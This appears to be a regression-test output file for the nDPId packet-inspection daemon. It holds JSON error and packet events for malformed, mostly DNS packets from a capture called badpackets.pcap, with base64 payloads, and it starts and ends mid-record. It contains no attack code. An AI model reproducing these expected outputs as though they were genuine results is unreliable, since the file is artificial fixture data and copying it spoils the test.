LYplDVGCuFeAhL5JD4BC1aJIZENCvxRzhQduD0s4HR+6oKQ1lWxPgH7SZ2ACg0k6rI408GAAAEAAQABUYAABIxaIe3BgAAcAAEAAVGAABAmEAAggACMAAAAAAAAAAI3wWwAAQABAAFRgAAEjKwR7cFsABwAAQABUYAAECYQACCIAIwAAAAAAAAAAjfBkwABAAEAAVGAAAShNyACwZMAHAABAAFRgAAQJhAAIIwAjAAAAAAAAAAAAsGAAC4AAQABUYABHAABBQMAAVGAWSuLfVkiUP0+cwRub2FhA2dvdgAdPG7ehO6IW4WIIulOX8wrz0E30kEaN8pVRkAXeBkIqEzDHfgYVK0sdZ5efJzSOnPqgHdQqhZhaojOXm4uaRNV0BM7TnAaFGReahEW+oclDj1FD6kFM2+O9+xmO3izFYVoFfp1wzvVgLlshXbzWEUiyetInv1BKKFIEeJ5LL23lhMaUXksImKM0RYQcljEMgPUzNr61cp01clYduRCFDBE8koZf3WOqAU+XPiGZ+N7vs+u0ppQnyHl4Ckwf6Bo1ew0W\/NXecH7qQZVe\/ZVZVdU9cjdfMwVrwIodtisUZ3ssnh\/k8UHvbkkIHFNDgp4Q64ETRZdWoT1WgrW5igHg8ArwYAALgABAAFRgAE="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":14,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1152,"global_ts_usec":1495451114040787} +00311{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451114040787,"packet_id":14,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1152,"global_ts_usec":1495451114040787} 01880{"packet_event_id":1,"packet_event_name":"packet","packet_id":14,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1186,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW1kgADURSH+MrBHtzLpQ5QA18VcKSC9N\/PmEEAABAAIABAANC2Zsb29kc2FmZXR5BG5vYWEDZ292AAABAAHADAABAAEAAAEsAASMWnHIwAwALgABAAABLAEcAAEFAwAAASxZK4t9WSJQ\/T5zBG5vYWEDZ292AI8NxE24xoB5Eg9dMdW2i2Wbnp7WAjJSEPfx6q6WNvQlvElWxcN5ImSIEBkCrx36XB+4y7FQRSHAcJfGmrEujeIG4vm2iak4\/iZ8q6dmad9UZqsYw7xMfUiMET9ynUM9tfbf26FoVrC7jqPoXd\/CLZ2MXGmkMAEGsqydhYm\/5Owhr1bdMagm+9i4eFaCOhOwLA5ytPfBpqddYO4P6KxfzWofdME7xL026plG7g0aOG4GcHKq2yCkGN\/td2KW3STw7Yn3EkgDcCQ9GkTH0mNpchsIxkxjSxGtSeHI3BNNToabK8Bt8I+qEmB2t+Dviv1HzjwGjXetcCij9X+FGH0VoGjAVAACAAEAAVGAAAgFbnMtbXfAVMBUAAIAAQABUYAACAVucy1ud8BUwFQAAgABAAFRgAAHBG5zLWXAVMBUAC4AAQABUYABHAACBQIAAVGAWSuLfVkiUP0+cwRub2FhA2dvdgB\/\/xDOV8RlACc0tJNxS+YKsLSQOBQbk6NLsQZG3YDTjO3iKsh7IcLqiw6uOc7SaLs86m+f\/kMHQskW6EQOmEHDMnbqN9IQMGQT4wsBbRrQmwjtM3XaVIfw2QRYEj4dnRSam\/XPSboR6M9\/hOGPVESZ\/uQ6WqFzbJ5fPUcerIlG\/kYoZuwvlZN9eWpmI2uvZVEJoNzzXHVFVxe+gyzQ2fX9CfzbU64wrazKsV4840AxDn9S8jSgjT7wrA1fAbUY1N1Z18MDcPXwCsgNM45SCTA3GR4LZG5q0wfZhRsvLTMW6nxaQfuphvLWLR4kFiw6usfYhcbxye3Gh4WdZwsuqUy1wZIAAQABAAFRgAAEjFoh7cGSABwAAQABUYAAECYQACCAAIwAAAAAAAAAAjfBagABAAEAAVGAAASMrBHtwWoAHAABAAFRgAAQJhAAIIgAjAAAAAAAAAACN8F+AAEAAQABUYAABKE3IALBfgAcAAEAAVGAABAmEAAgjACMAAAAAAAAAAACwZIALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AB08bt6E7ohbhYgi6U5fzCvPQTfSQRo3ylVGQBd4GQioTMMd+BhUrSx1nl58nNI6c+qAd1CqFmFqiM5ebi5pE1XQEztOcBoUZF5qERb6hyUOPUUPqQUzb4737GY7eLMVhWgV+nXDO9WAuWyFdvNYRSLJ60ie\/UEooUgR4nksvbeWExpReSwiYozRFhByWMQyA9TM2vrVynTVyVh25EIUMETyShl\/dY6oBT5c+IZn43u+z67SmlCfIeXgKTB\/oGjV7DRb81d5wfupBlV79lVlV1T1yN18zBWvAih22KxRneyyeH+TxQe9uSQgcU0OCnhDrgRNFl1ahPVaCtbmKAeDwCvBkgAuAAEAAVGAAQ=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":15,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1159,"global_ts_usec":1495451114042745} +00311{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451114042745,"packet_id":15,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1159,"global_ts_usec":1495451114042745} 01886{"packet_event_id":1,"packet_event_name":"packet","packet_id":15,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1193,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1193,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW1ogADURSH6MrBHtzLpQ5QA13wAKT4pfTrqEEAABAAIABAANA3ZsYgRuY2RjBG5vYWEDZ292AAABAAHADAABAAEAAA4QAATNpxlkwAwALgABAAAOEAEhAAEFBAAADhBZKcVTWSCK0x9HBG5jZGMEbm9hYQNnb3YAX+ROMTDmu2LvY14SfjFGvi3WEW6+STJjZDx4ISbi+8Up66dG\/bw1go3rWtgRYv32inrUxVD+E4qN4O65GyWgncqxzNBHyqogKfZU9dx9y+PqIoQ+ar6wCBaZMeRlZ2H\/KAZm9VZJdIYSfT7rg8tylzg1ByKUx\/dM58k4tzq01zWfvvdDqlgyS\/7dfwH3Cx0Q3tKk8RttgwJo0iMxQWM\/AbIcQHtWikYNLoiBlgpKokdUg9fvMXVaU6C7Dli78cCopcGhFjDJKTKGsg8VZwPKF9jhIvdYxA+Q0I24PRjdqFWpLctR\/ZrlwtAdX59WvQRCsyLHS7xFl+DxalLuB\/SgjMBRAAIAAQABUYAABwRucy1lwFbAUQACAAEAAVGAAAgFbnMtbXfAVsBRAAIAAQABUYAACAVucy1ud8BWwFEALgABAAFRgAEhAAIFAwABUYBZKcVTWSCK0x9HBG5jZGMEbm9hYQNnb3YAmWRe9VtNaGu5X49TFlABbU\/pql1LRAtlNRRYPZA76YNivdumGQu4wVgBmCm+hYA4u\/HWo\/sXy+OjhkGg69foZAZZApULWjIwIoUuPmRWXN7SuPsCbcxc2lz03QGkeHWcv53g7lGYu11y+pQHMJSB5g8OgwFH1IpZebWevGbH01CETWP8X15qQ1Si4Mg+CLVxJUTEjQ+X3iu+vEJrye6jYg4+V8n1uXRhP1XaMIy9guTSW+vZMz5uu3LssrCEsl8FV2QPvYCNY6ShsKFc9MUOedVXQ3fLqRmhLx+5ICURO9pKmtWRUtZLxMAKiuJMWwbJBHU0oQ\/4Oz18pihCuPdUXcFsAAEAAQABUYAABIxaIe3BbAAcAAEAAVGAABAmEAAggACMAAAAAAAAAAI3wX8AAQABAAFRgAAEjKwR7cF\/ABwAAQABUYAAECYQACCIAIwAAAAAAAAAAjfBkwABAAEAAVGAAAShNyACwZMAHAABAAFRgAAQJhAAIIwAjAAAAAAAAAAAAsFsAC4AAQABUYABHAABBQMAAVGAWSuLfVkiUP0+cwRub2FhA2dvdgAdPG7ehO6IW4WIIulOX8wrz0E30kEaN8pVRkAXeBkIqEzDHfgYVK0sdZ5efJzSOnPqgHdQqhZhaojOXm4uaRNV0BM7TnAaFGReahEW+oclDj1FD6kFM2+O9+xmO3izFYVoFfp1wzvVgLlshXbzWEUiyetInv1BKKFIEeJ5LL23lhMaUXksImKM0RYQcljEMgPUzNr61cp01clYduRCFDBE8koZf3WOqAU+XPiGZ+N7vs+u0ppQnyHl4Ckwf6Bo1ew0W\/NXecH7qQZVe\/ZVZVdU9cjdfMwVrwIodtisUZ3ssnh\/k8UHvbkkIHFNDgp4Q64ETRZdWoT1WgrW5igHg8ArwWwALgABAAFRgAE="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":16,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145,"global_ts_usec":1495451114337664} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":13,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451114337664,"packet_id":16,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145,"global_ts_usec":1495451114337664} 00517{"packet_event_id":1,"packet_event_name":"packet","packet_id":16,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW14gADURSHqMrBHtzLpQ5QA1cdYMIeseCHyEEAABAA0ABAANCGVkZ2UtbndzA3dvYwRub2FhA2dvdgAAAQABwAwABQABAAABLAAMB2VkZ2UtcDEBbMAZwAwALgABAAABLAEgAAUFBAAAASxZK4vIWSJRSL+OA3dvYwRub2FhA2dvdgCQTrqAqFPUlwzaSBYq8hc48+OOYcX3TV6bWxXaYm8="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":17,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145,"global_ts_usec":1495451114364173} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":14,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451114364173,"packet_id":17,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145,"global_ts_usec":1495451114364173} 00518{"packet_event_id":1,"packet_event_name":"packet","packet_id":17,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAogADIR1C2hNyACzLpQ5QA1Q\/EMIbPPgtyEEAABAA0ABAANCGVkZ2UtbndzA3dvYwRub2FhA2dvdgAAAQABwAwABQABAAABLAAMB2VkZ2UtcDEBbMAZwAwALgABAAABLAEgAAUFBAAAASxZK4vIWSJRSL+OA3dvYwRub2FhA2dvdgCQTrqAqFPUlwzaSBYq8hc48+OOYcX3TV6bWxXaYm8="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":18,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1156,"global_ts_usec":1495451114389800} +00311{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":15,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451114389800,"packet_id":18,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1156,"global_ts_usec":1495451114389800} 01880{"packet_event_id":1,"packet_event_name":"packet","packet_id":18,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1190,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsA0gADIR1CqhNyACzLpQ5QA1Q5YKTHldtTaEEAABAAIABAANA3d3dwtyaXBjdXJyZW50cwRub2FhA2dvdgAAAQABwAwAAQABAAABLAAEjFpxyMAMAC4AAQAAASwBHAABBQQAAAEsWSuLfVkiUP0+cwRub2FhA2dvdgBux3u1kqhoa2542f5VfZyNoS158qaQHxQC5yl\/X1HYHlN9OKFD2TTtS4MZKS2ZLbvQB5eqC\/5Riya4tMHEv+9kjK+XtBF7Rj7yVxMulYYVKJY1yrzk9A\/DMfiIWTmC3qviPxuqYkAT5W+fAOD4Nsy\/5JE6hIu89v+rqG\/Z8kfURtGsfsnMCQfSTMP2AXbh6JHaVQaDQaVNy0gDeBqDP1Owy3kJn4t100KGsy2p4xGQ0JUhkDuTy2t3fY6FBUSyoy0avo4Kb7JFJHys5VrqR44WISsO3GrLnTJtfVwBE9Pr\/BpNps2Jko7Ht0KLwUiDWgVCGdLvJTwQLCElPL9pPjkswFgAAgABAAFRgAAHBG5zLWXAWMBYAAIAAQABUYAACAVucy1ud8BYwFgAAgABAAFRgAAIBW5zLW13wFjAWAAuAAEAAVGAARwAAgUCAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAf\/8QzlfEZQAnNLSTcUvmCrC0kDgUG5OjS7EGRt2A04zt4irIeyHC6osOrjnO0mi7POpvn\/5DB0LJFuhEDphBwzJ26jfSEDBkE+MLAW0a0JsI7TN12lSH8NkEWBI+HZ0Umpv1z0m6EejPf4Thj1REmf7kOlqhc2yeXz1HHqyJRv5GKGbsL5WTfXlqZiNrr2VRCaDc81x1RVcXvoMs0Nn1\/Qn821OuMK2syrFePONAMQ5\/UvI0oI0+8KwNXwG1GNTdWdfDA3D18ArIDTOOUgkwNxkeC2RuatMH2YUbLy0zFup8WkH7qYby1i0eJBYsOrrH2IXG8cntxoeFnWcLLqlMtcFuAAEAAQABUYAABIxaIe3BbgAcAAEAAVGAABAmEAAggACMAAAAAAAAAAI3wZUAAQABAAFRgAAEjKwR7cGVABwAAQABUYAAECYQACCIAIwAAAAAAAAAAjfBgQABAAEAAVGAAAShNyACwYEAHAABAAFRgAAQJhAAIIwAjAAAAAAAAAAAAsFuAC4AAQABUYABHAABBQMAAVGAWSuLfVkiUP0+cwRub2FhA2dvdgAdPG7ehO6IW4WIIulOX8wrz0E30kEaN8pVRkAXeBkIqEzDHfgYVK0sdZ5efJzSOnPqgHdQqhZhaojOXm4uaRNV0BM7TnAaFGReahEW+oclDj1FD6kFM2+O9+xmO3izFYVoFfp1wzvVgLlshXbzWEUiyetInv1BKKFIEeJ5LL23lhMaUXksImKM0RYQcljEMgPUzNr61cp01clYduRCFDBE8koZf3WOqAU+XPiGZ+N7vs+u0ppQnyHl4Ckwf6Bo1ew0W\/NXecH7qQZVe\/ZVZVdU9cjdfMwVrwIodtisUZ3ssnh\/k8UHvbkkIHFNDgp4Q64ETRZdWoT1WgrW5igHg8ArwW4ALgABAAFRgAE="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":19,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145,"global_ts_usec":1495451114409912} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":16,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451114409912,"packet_id":19,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145,"global_ts_usec":1495451114409912} 00517{"packet_event_id":1,"packet_event_name":"packet","packet_id":19,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsA4gADIR1CmhNyACzLpQ5QA1XMQMIcjtVOuEEAABAA0ABAANCGVkZ2UtbndzA3dvYwRub2FhA2dvdgAAAQABwAwABQABAAABLAAMB2VkZ2UtcDEBbMAZwAwALgABAAABLAEgAAUFBAAAASxZK4vIWSJRSL+OA3dvYwRub2FhA2dvdgCQTrqAqFPUlwzaSBYq8hc48+OOYcX3TV6bWxXaYm8="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":20,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":467,"global_ts_usec":1495451114477838} -00951{"packet_event_id":1,"packet_event_name":"packet","packet_id":20,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":501,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":501,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2EgADURSHeMrBHtzLpQ5QA1hSENY4PPmWmEEAABAA8ABAANA3d3dwRnb2VzBG5vYWEDZ292AAABAAHADAAFAAEAAVGAABILZWRnZS1uZXNkaXMDd29jwBXADAAuAAEAAVGAARwABQUEAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAmB+rNTTf9y2fL9huXtwXacy3dpdAU\/FF66y0T2Abh4gJ4oqoROLCskJvvn3j9VXRYvVuHgr\/e97Co5990baGGvZb+DvhgSBtQA0XDhAbhT4IGku7L7hKoOqCPzJ2xMN4lERF15hNGRqg\/cT5v5CgilDGweZpWDYW20FvCYF4m8AGKWztxWEdpdH2c13sLamLNmDpbsiDeUYVinK+o0nUucS9JVb7qjOM60ITS257sC9GnrEJqXc7E0PqTUPhbrT8oM6CmNCpuj24P56BqqMr1XKbdWFuIo37YO1g0eKMEI09l2QWTwRGahH71x3X3yh\/Irc0cgLSM9Wcphsq4AONbsAvAAUAAQAAASwADAdlZGdlLXAxAWzAX8AvAC4AAQAAASwBIAAFBQQAAAEsWSuLyFkiUUi\/jgN3b2MEbm9hYQNnb3YAHVR1NQXRWlbpbPXbpQ4K7jGWLXOoK18x\/MZgCtt9"} -00235{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":21,"source":"badpackets.pcap","alias":"nDPId-test","size":52,"expected":60,"global_ts_usec":1495451114592732} -00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":21,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":52,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2IgADURSHaMrBHtzLpQ5QA1ue4F2rYkIYyEEAABAAUAAA=="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":21,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":18,"global_ts_usec":1495451114592732} -00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":21,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":52,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2IgADURSHaMrBHtzLpQ5QA1ue4F2rYkIYyEEAABAAUAAA=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":22,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":350,"global_ts_usec":1495451120530820} -00790{"packet_event_id":1,"packet_event_name":"packet","packet_id":22,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":384,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":384,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcvvQgADsRTzWcmpGtzLpQ5QA1p0MHJt5xE1qEAAABAAgAAAABA3VubwAAMAABwAwAMAABAAAcIACIAQADCAMBAAG4yfLJ+odI0NYhmvuEYusTX3PMFSgpFuzmz0UAbcsB7BQkNbURzRziXs3Eo+Y4VAvQbBXZ7ZrIhm7e5Kv05B9ITQPXR8mAKN+eP4XS24qX5yxLTJr1BHYcwjbMHD11lKYei8h3x0IL84h+CJR9MkSjpkX65W1xs0ZDKrBsVj+sP8AMADAAAQAAHCABCAEBAwgDAQAB7AsXAeKN3QmGY7+Xpe0mfMtRzSIrdueZqhbVPuuuqzzkGlfKN+qx6PtpXxVkUMnMYiEn3FO6H3aNHnpkDL273LzrNhBMH62l5Tf14gZ7\/YEClmhlbBKDGSaiQipf0qYB+3KlSnlFkNTZQTPpSS2skfRrrwaSrIFrBnPy65VNup0b0nKjYyVw623MNxZMGgFjsX8veogoAKeS"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":23,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":725,"global_ts_usec":1495451125221324} -01297{"packet_event_id":1,"packet_event_name":"packet","packet_id":23,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":759,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":759,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcooIgADMRE+aBBg0DzLpQ5QA1SmkInV2uJjOEEAABAAMABAANA3d3dgRuaXN0A2dvdgAAAQABwAwAAQABAAAHCAAEGDiyjMAMAC4AAQAABwgAnAABBwMAAAcIWSp+wlkhOKFNKgRuaXN0A2dvdgBIYUso1Tbe3YPWKI6pKsnK39L0ZR+Wo84lp69g80vFD15mFzrNg7EcUCLsnkMlQJbHqK3QN0QeDzdgWJzEtkF4C3gfcuiYqpNzLzSbOaI8qMLYR3iAIZ82fx0LiQg0fj\/UhXahd9c0eXrYwc69KuT3ZZpBmxsvQGSbA79dTk2IcMAMAC4AAQAABwgAnAABBwMAAAcIWSp+wlkhOKFp9QRuaXN0A2dvdgB2VIO3XeASYXoMskLY5BdTHuMWk0C0lo9NqfSeSNpiocAUe4wjG0pSKGWTvO9v14o3ES1dQF\/lRDDzLvndMmBTSk8OUc6DZkYg\/xkANFcnfu1rJX71cI8qZoMAtFPuJG+OdrjwY3UO+gUW81AuHH3Rvj37sLrgU6NYwdvHL8cSF8D0AAIAAQAABwgABgNnZWHA9MD0AAIAAQAABwgABgNiZWHA9MD0AC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpNKgRuaXN0A2dvdgB\/AugCl6Rz+sTdMBLd\/b9WzbTmwtSJRElGSiFaNkIXGL85DwZ8CN5XIraessCeREIcUwZxVSCZqTN+jQfSqvs0RCCsELGmZy1\/6te8q\/BHGZ6r5Yfp\/FixyK0YEzCx9kE6yxKwCHgAiZ9RYjXpdk7jwKD9iHCh9psgrmi4EqWisMHAAC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpp9QRuaXN0A2dvdgClTY7jIx2EAO1rRXMS+rZG5e8+PelDpKXOMRzGWIjrQbBJVXqIaZDLeBgBTWgx3tBkiLlUy1bOdR3MF5sPTTggHRJuEc8rRcMhHY6s0g2zr9CNylE8o5Mcs+HT"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":24,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":219,"global_ts_usec":1495451143643018} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451143643018,"packet_id":24,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":219,"global_ts_usec":1495451143643018} 00617{"packet_event_id":1,"packet_event_name":"packet","packet_id":24,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":253,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":253,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFKAXcix5gAPYRtKqAcIEPzLpQ5QA1PwIGo6sTVh2EEAABAAEABgAPBmdpdmluZwlwcmluY2V0b24DZWR1AAABAAEGZ2l2aW5nCVByaW5jZXRvbgNFRFUAAAEAAQAAqMAABEtlhE3ALQACAAEAAqMAAA0FYWRuczEEdWNzY8AdwC0AAgABAAKjAAAYBWF1dGgyA2Rucwhjb2dlbnRjbwNjb20AwC0AAgABAAKjAAALCGRpa2FoYmxlwC3ALQACAAEAAqMAAAgFYXV0aDHAdcAtAAIAAQACowAACAVhZG5zMsBcwC0AAgABAAKjAAAGAw=="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":25,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":36,"global_ts_usec":1495451144693951} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451144693951,"packet_id":25,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":36,"global_ts_usec":1495451144693951} 00371{"packet_event_id":1,"packet_event_name":"packet","packet_id":25,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXc8l4gADcRrZWY2AelzLpQ5QA1QFwLtGqgHLSEAAABAAIABQAQAnNhBHd3dzQDaXJzA2dvdg=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":26,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":816,"global_ts_usec":1495451150025808} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451150025808,"packet_id":26,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":816,"global_ts_usec":1495451150025808} 01422{"packet_event_id":1,"packet_event_name":"packet","packet_id":26,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":850,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":850,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcp70gADMRDquBBg0DzLpQ5QA1tIMI+JbQPi6EEAABAAMABQANBG5pc3QEdGltZQNnb3YAAAEAAcAMAAUAAQAABwgAEAR0aW1lA2dsYgRuaXN0wBbADAAuAAEAAAcIAJwABQcDAAAHCFkqyCtZIYRnjJkEdGltZQNnb3YAqr9jxTZXybcXnuCzjwFwvmFI+Ze7+m+rSWmDSn1MGMydCqolZgbVKJgNgG1S4zXIK8pdBL562Arwa55agW7HdTeBY84CmqWupq562AYDen9j\/fcu4j8dUrr0Np5qd65iLfnFlqyyY1lwhO5MLHlBGeFoLloqXXTeoUcgip7f3svADAAuAAEAAAcIAJwABQcDAAAHCFkqyCtZIYRno1UEdGltZQNnb3YA1mVm7+rmIQsKL0j8gZgmJcKynM3ZMQd2XdMAq44akLYox+waENon7a\/NmZaeWbIVHTDHZNuDBA9d3DqfTwZmq6tNJfokzKjG5g+KihH2Xa4Kp9wiLwRswtv6QxM2Qg5XcrAKw8x7jBKYqECsGcjybhwp76K9osOWdUlx9tS+dNnAMAACAAEAAAcIAAcEZ3RtZ8A0wDAAAgABAAAHCAAHBGd0bWLANCBWQ0xEQlZEM045OVFSSElHTFY5UVFBRkUxRFU3UEJOTMA0ADIAAQAAASwAHwEAAAoCf28U+zG4nx40du+nR\/TU4M0oy+4k6+cAASDBsQAuAAEAAAEsAJwAMgcDAAABLFkqrVZZIWt\/TSoEbmlzdANnb3YAin87ubwH5bbudTk+e+xAakiTfHLL5BNm7U1T7Tp5nwZ+YiMNjXALwdG0Rzv41sO6d6JzvqGjEvTLlZHOxMvzh5qOOCQ5pTDJOeqLshIcRoXLTP+W5JHoo22\/LNWmDP4Sejibo\/ExdMmbbKksTx5XkoOuibEJlXT+CgT9AZmeMRTBsQAuAAEAAAEsAJwAMgcDAAABLFkqrVZZIWt\/afUEbmlzdANnb3YACfYO\/o1yNCznWcx+k3iT2eRehKQYOK+FNHFc5RmDgi0nh2MAeCXjMinIJ79YtQqPSh00E\/qkzv0dT8zKvlO44sNJMgS8x9irpUURGpmdOjra2Peut2w6hiAF+w=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":27,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":796,"global_ts_usec":1495451210064358} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451210064358,"packet_id":27,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":796,"global_ts_usec":1495451210064358} 